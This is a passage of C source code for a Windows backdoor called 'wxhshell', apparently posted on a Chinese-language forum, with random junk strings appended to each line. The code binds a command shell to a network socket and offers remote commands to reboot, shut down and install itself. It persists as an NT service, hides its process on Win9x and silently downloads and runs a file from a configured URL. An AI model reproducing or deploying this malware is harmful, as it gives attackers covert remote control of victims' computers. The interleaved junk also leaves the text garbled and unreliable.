  else { I[z:;4W}L^  
A_9WSXR  
    switch(cmd[0]) { f~IJ4T2#N  
  )7q$PcY  
  // 帮助 [B0 BHJ~  
  case '?': { a6p0_-MF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  0^;2  
    break; *MF9_V)8V  
  } RNIXQns-=S  
  // 安装 bMH~vR  
  case 'i': { [m~J6WB  
    if(Install()) ~ELY$G.xl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dc9uq5l  
    else lH-VqkR\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )m%uSSx#  
    break; %1z;l.c  
    } MqmQ52HR  
  // 卸载 Z~'t'.=z  
  case 'r': { t;O)   
    if(Uninstall()) 'C+cQLig@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sEhvx +(  
    else Mk! Fy]3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hU)t5/h;K  
    break; %Ymi,o>  
    } HB07 n4 |  
  // 显示 wxhshell 所在路径 =C %)(|  
  case 'p': { bQ< qdGa  
    char svExeFile[MAX_PATH]; <'y<8gpM  
    strcpy(svExeFile,"\n\r"); g?j)p y  
      strcat(svExeFile,ExeFile); FaHOutP  
        send(wsh,svExeFile,strlen(svExeFile),0); =~^b  
    break; =?sG~  
    } /\J0)V  
  // 重启 @!ChPl  
  case 'b': { c-Gp|.C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gF6> /  
    if(Boot(REBOOT)) 0b&# w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'u,|*o  
    else { Mw[3711v  
    closesocket(wsh); Xfiwblg  
    ExitThread(0); :;?$5h*|`  
    } xATx2*@X2  
    break; EOPx 4+o  
    } CTMC78=9}  
  // 关机 Nc[@QC{  
  case 'd': {  A l[ZU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wO??"${OH  
    if(Boot(SHUTDOWN)) K:Z$V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Sdo*z  
    else { A U~DbU0O  
    closesocket(wsh); ( eV,f  
    ExitThread(0); *&U~Io"U  
    } *>fr'jj1$  
    break; lyn%r  
    } TrI+F+;  
  // 获取shell hgU;7R,?ir  
  case 's': { ]jT}]9Q$  
    CmdShell(wsh); fQ+whGB  
    closesocket(wsh); c3]t"TA,  
    ExitThread(0); Om3Ayk}  
    break; InPE_  
  } >?g@Nt8  
  // 退出 j^G=9r[,  
  case 'x': { >%/x~UFc5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yT ^x0?U  
    CloseIt(wsh); {16a P  
    break; WjD885Xo  
    } J)nK9  
  // 离开 mhbczVw  
  case 'q': { >ohCz@~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 41 F;X{Br  
    closesocket(wsh); N8A)lYT]_u  
    WSACleanup(); )JMqC+J3*t  
    exit(1); k4+vI1Cs  
    break; 0U42QEG2  
        } dsTX?E<R  
  } G e;67  
  } }'[>~&/"  
7QO/; zL  
  // 提示信息 N0 {e7M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cILS  
} 3Z*r#d$nh:  
  } fA=Z):w  
9QQ XB-  
  return; Xv1vq -cM  
} ~aC ?M&  
PD#,KqL:  
// shell模块句柄 <4r8H-(%  
int CmdShell(SOCKET sock) reu[rZ&  
{ %;`Kd}CO  
STARTUPINFO si; j~v`q5X  
ZeroMemory(&si,sizeof(si)); @SX%q&-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ki1(b]rf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x0j5D  
PROCESS_INFORMATION ProcessInfo; P&`%VW3E  
char cmdline[]="cmd"; G`!x+FB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O|Uz)Y94  
  return 0; c5]Xqq,  
} ~${~To8$CW  
OG$n C  
// 自身启动模式  "'4  
int StartFromService(void) j6%W+;{/pj  
{ Q-x>yau"  
typedef struct #XQ/y}(  
{ AVT % AS  
  DWORD ExitStatus;  ETZf  
  DWORD PebBaseAddress; J[lC$X[  
  DWORD AffinityMask; Hq.rG-,p  
  DWORD BasePriority; eV7;#w<]  
  ULONG UniqueProcessId; Vr2A7kq  
  ULONG InheritedFromUniqueProcessId; gP_N|LuF"  
}   PROCESS_BASIC_INFORMATION; o3 0C\  
u(vZOf]jL  
PROCNTQSIP NtQueryInformationProcess; CR4O#f8\  
i6Z7O )V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V?XQjH1X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; St5;X&Q  
wFMH\a  
  HANDLE             hProcess; ERPg TZT  
  PROCESS_BASIC_INFORMATION pbi; #]h X ."b2  
0zW*JJxV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |5u~L#P  
  if(NULL == hInst ) return 0; KL \>-  
yD"]:ts3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^4=#, K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rK gl:s j+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CL0 lMZ  
-A#p22D,5  
  if (!NtQueryInformationProcess) return 0; kcS7)"/ zC  
i1evB9FZ1z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $J1`.Q>)4  
  if(!hProcess) return 0; rHKO13WF  
d(IJ-qJ N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i l^;2`]&  
("U<@~  
  CloseHandle(hProcess); 4t*%(  
O Z ./suR)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jNj;#C)  
if(hProcess==NULL) return 0; UJO3Yn  
etX@z'H  
HMODULE hMod; /8; m.J>bf  
char procName[255]; /&Q{B f  
unsigned long cbNeeded; AJyN lQ  
|z)s9B;:#i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W.3b]zcV  
x-i1:W9;  
  CloseHandle(hProcess); [8T{=+k  
* JK0X  
if(strstr(procName,"services")) return 1; // 以服务启动 ]:e_Y,@  
izP )t  
  return 0; // 注册表启动 C0N :z.)4  
} L:HvrB~  
(z sG!v  
// 主模块 J~%43!X\K  
int StartWxhshell(LPSTR lpCmdLine) m%0 -3c(  
{ '0 Cp  
  SOCKET wsl; ,HP }}K+S  
BOOL val=TRUE; ^E^`"  
  int port=0; J9lZ1,22  
  struct sockaddr_in door; 4iAF<|6s  
:#:|:q.]  
  if(wscfg.ws_autoins) Install(); MpOU>\  
,rMDGZm?  
port=atoi(lpCmdLine); <AU*lLZ  
2E }vuw=c  
if(port<=0) port=wscfg.ws_port; *2 Pr1U  
biHacm  
  WSADATA data; G*IP?c>=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; prZ ,4\  
g}MUfl-L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tWn dAM(U7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a&>NuMDI  
  door.sin_family = AF_INET; QIiy\E%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h0<PQZJ  
  door.sin_port = htons(port); ROFZ*@CH<  
u1meys a{0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VcKB:(:[  
closesocket(wsl); yzN[%/  
return 1; 1AAyzAP9`  
} i#-v4g  
\Th<7WbR6#  
  if(listen(wsl,2) == INVALID_SOCKET) { y,5qY}P+  
closesocket(wsl); wPg/.N9H  
return 1; CH6 m  
} ? xR7Ii3  
  Wxhshell(wsl); *}\M!u{J  
  WSACleanup(); u"h/ERCa  
}JFTe g  
return 0; t5{P'v9J  
@v2<T1UC  
} EHUx~Q   
{ b$"SIg1E  
// 以NT服务方式启动 vH+g*A0S<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tA#Pc6zBuC  
{ :|;@FkQ  
DWORD   status = 0; ^}+\52w  
  DWORD   specificError = 0xfffffff; >._d2.Q'  
Uxjc&o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6qT@M0)i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SES.&e|!6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?4':~;~  
  serviceStatus.dwWin32ExitCode     = 0; CyIlv0fd}  
  serviceStatus.dwServiceSpecificExitCode = 0; FMdu30JV  
  serviceStatus.dwCheckPoint       = 0; ! AwMD  
  serviceStatus.dwWaitHint       = 0; uG\~Hxqw7O  
*I 1H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )9H5'Wh#  
  if (hServiceStatusHandle==0) return; sqKx?r72  
L('1NN 2  
status = GetLastError(); CY o m  
  if (status!=NO_ERROR) ILm +o$o ~  
{ (H_dZL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '?C6P5fm  
    serviceStatus.dwCheckPoint       = 0; 7Bj,{9^aJ  
    serviceStatus.dwWaitHint       = 0; M hN;GMH  
    serviceStatus.dwWin32ExitCode     = status; -,")GA+[7  
    serviceStatus.dwServiceSpecificExitCode = specificError; j*>J1M3E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [1rQ'FBB^1  
    return; =muQ7l:(  
  } "'CvB0>   
z>PVv)X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =\6)B{#T  
  serviceStatus.dwCheckPoint       = 0; @bg9 }Z%\h  
  serviceStatus.dwWaitHint       = 0; ?;,;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h~>1 -T8  
} MtJ-pa~n  
:{a< ~n`  
// 处理NT服务事件,比如:启动、停止 pyhXET '  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |mt W)  
{ ZxvH1qx8  
switch(fdwControl) es7;eH*O9  
{ 8$NVVw]2,  
case SERVICE_CONTROL_STOP: YNBM\Q  
  serviceStatus.dwWin32ExitCode = 0; =2&\<Q_Fi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :UdW4N-  
  serviceStatus.dwCheckPoint   = 0; _=$~l^Y[  
  serviceStatus.dwWaitHint     = 0; ,1ev2T  
  { .RpJZ[E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xmr}$<<=  
  } MT/jpx  
  return; :^y!z1\2(7  
case SERVICE_CONTROL_PAUSE: lgews"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WX4sTxJK  
  break; TO Hz3=  
case SERVICE_CONTROL_CONTINUE: %DSr@IX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hi,=" /9  
  break; &>qUT]w  
case SERVICE_CONTROL_INTERROGATE: 7$<pdayd  
  break; &m3-][ !n  
}; eDpi0htm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); htB7 j(  
} +;W%v7 %<  
Gj?Zbl <  
// 标准应用程序主函数 =n,;S W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;7\Fx8"s[  
{ p -$C*0{  
z)T-<zWO;  
// 获取操作系统版本 qy|bOl  
OsIsNt=GetOsVer(); {\5(aQ)Vi5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [ K?  
;^/ruf[t  
  // 从命令行安装 Rs=Fcvl  
  if(strpbrk(lpCmdLine,"iI")) Install(); _&l8^MD  
2 `AdNt,  
  // 下载执行文件 +,spC`M6h  
if(wscfg.ws_downexe) { ?J2{6,}O*.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xy(QK2|  
  WinExec(wscfg.ws_filenam,SW_HIDE); c=u+X` Q  
} 4 $R!)  
[#GBn0BG)  
if(!OsIsNt) { 3uYLA4[-B  
// 如果时win9x,隐藏进程并且设置为注册表启动 =G}a%)?As\  
HideProc(); [ bnu DS  
StartWxhshell(lpCmdLine); _\>y[e["p  
} 2mEqfy  
else C@Wzg  
  if(StartFromService()) \oPe" k=  
  // 以服务方式启动 _4>DuklH,  
  StartServiceCtrlDispatcher(DispatchTable); ;"&?Okz  
else %<kfW&_>w  
  // 普通方式启动 {jD?obs  
  StartWxhshell(lpCmdLine); 0se%|Z|8  
F/2cQ .u2  
return 0; tz]0F5  
}
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只看该作者 1 发表于: 2006-10-10
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